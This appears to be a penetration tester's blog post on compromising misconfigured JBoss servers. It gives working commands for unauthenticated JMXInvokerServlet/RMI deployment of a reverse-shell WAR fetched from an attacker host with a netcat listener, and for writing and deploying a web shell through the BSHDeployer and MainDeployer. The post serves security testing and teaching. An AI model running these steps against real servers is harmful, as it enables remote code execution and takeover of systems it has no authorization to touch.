JBoss – Crucial Methods for Application Security
While performing a penetration test, it’s quite common to encounter JBoss and Tomcat application servers. These servers are generally attractive targets for attackers because they expose a number of different functions that could lead to remote code execution. Exploitation is generally reliable, repeatable and poses virtually no risk to availability of other applications. Additionally, it can be a challenge for organizations to properly secure installations of this software.
In a previous blog, we detailed a rather simplistic technique with which some systems can be exploited by simply altering the HTTP request verb. While that specific vulnerability can generally be identified by commercial vulnerability scanners, exploitation of the software can occur via avenues that may be less obvious.
Although discussing the full inner workings of JBoss is beyond the scope of this article, it’s important to note that there are a number of different ways a user can interact with and deploy web applications on a JBoss server, including the JMX Console, Remote Method Invocation (RMI), JMXInvokerServlet and HttpAdapter. Metasploit contains modules to interact with a number of these methods. Each one of these methods requires specific configurations to enforce security. A single misconfiguration is generally all that’s needed for an attacker to compromise the system.
On a recent test a client had much of the system locked down. However, RMI (ports 1098, 1099 and 4444 generally) were running. Vulnerability scans using commercial tools detected no flaws. However, we remained skeptical of all findings (or lack thereof) as it related to JBoss simply because of the plethora of techniques with which they can be attacked. Probing further, we discovered the following using the jboss_vulnscan module in Metasploit:
[+] 192.168.0.35:443 /invoker/JMXInvokerServlet does not require authentication (200)
[*] 192.168.0.35:443 Checking services...
[*] 192.168.0.35:443 Naming Service tcp/1098: open
[*] 192.168.0.35:443 Naming Service tcp/1099: open
[*] 192.168.0.35:443 RMI invoker tcp/4444: open
As was already known, RMI ports were open. However, the JMXInvokerServlet did not require authentication. For more about how to interact and attack JBoss RMI, see this article from Context.
We downloaded the JBoss software locally and utilized the twiddle client to confirm that we could interact with the target machine:
root@bt:/pentest/web/jboss/jboss-4.2.1.GA/bin# ./twiddle.sh -s 192.168.0.35 get "jboss.system:type=ServerInfo"
To exploit the system, we manually created a WAR file that contained a reverse-connect payload. Then we used twistd to quickly set up a web server that would be used to serve the malicious WAR file.
root@bt:/pentest/web/jboss/fns# twistd -n --path=. --port=80
With the server listening on the attacking machine (IP address 10.0.1.50) we used the twiddle client to make an RMI call that caused JBoss to download the malicious WAR file from the attacking machine and deploy it on the victim:
twiddle.sh -s 192.168.0.35 invoke "jboss.system:service=MainDeployer" deploy http://10.0.1.50/fns.war
We received a ‘null’ response indicating the call was successful. To trigger the payload, we first started a netcat listener on the attacking machine that would be used to receive the reverse-connect shell:
root@bt:/pentest/web/jboss/fns# nc -lvp 8000
listening on [any] 8000 ...
We pull up a web browser and go to our malicious application to trigger the payload:
Netcat confirms a shell, and we do our victory dance:
192.168.0.35: inverse host lookup failed: Unknown server error : Connection timed out
connect to [10.0.1.50] from (UNKNOWN) [192.168.0.35] 4188
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
The important item to note is that this was NOT detected by two of the commercial vulnerability scanners we utilized. It demonstrates not only the limitations of relying solely on automated tools, but also the importance of performing penetration tests.
Attacking JBoss Behind a Restrictive Firewall Using Bean Shell Deployer
We’ve encountered another situation in the field which requires a bit of creative thinking to exploit. If the JBoss server is behind a firewall that restricts egress on all ports, we cannot host a WAR file with a malicious application to deploy, as the JBoss server will not be able to retrieve it. Consider a JBoss server that is behind a firewall that only allows us to hit it on port 8080 and allows no communication back to our host from the server on any port.
In this situation, it is best to take advantage of the Bean Shell Deployer built into JBoss. We can leverage the BSHDeployer to execute arbitrary bean shell scripts on the target machine. In order to exploit the server, we’ll be using a bean shell script to write a WAR file to the local filesystem that we can then deploy using the MainDeployer.
The guys over at RedTeam Pentesting have a great set of tools to assist us in demonstrating this technique.
First, we’ll create a WAR file using the shell.jsp file available as part of the redteam-jboss package, in redteam-jboss/WAR. We’ll leave all options at the default for this example:
root@bt:~/redteam-jboss/WAR# jar cvf shell.war *
adding: shell.jsp(in = 8527) (out= 2379)(deflated 72%)
adding: WEB-INF/(in = 0) (out= 0)(stored 0%)
adding: WEB-INF/web.xml(in = 396) (out= 203)(deflated 48%)
Then, we’ll create a bean shell script to deploy a malicious web shell onto the server at /tmp/shell.war:
root@bt:~/redteam-jboss/BeanShellDeployer# ./mkbeanshell.rb -w shell.war -d /tmp/
import java.io.FileOutputStream;import sun.misc.BASE64Decoder;String val =
wAAAAA=";BASE64Decoder decoder = new BASE64Decoder();byte
byteval = decoder.decodeBuffer(val);FileOutputStream fstream =
We can then copy and paste the script into the web interface for the BSHDeployer service in the p1 Parameter for the createScriptDeployment() function. In our case, that’s at:
Upon invoking the method, we should see something similar to the screen below, which indicates the location of the script that was written. The script has already been executed, so our malicious WAR file should be in its intended location at /tmp/shell.war:
Now that we have the file on the local filesystem, there’s no need for us to host it or have the server connect back to us. We can deploy the WAR file using the MainDeployer service directly from the host itself. In our case, we browse to:
http://172.16.180.135:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Aservice%3DMainDeployer and scroll down to the deploy() function:
When we invoke the function, we should get:
We then do our victory dance once more now that we can access our shell, execute commands, and transfer files directly at: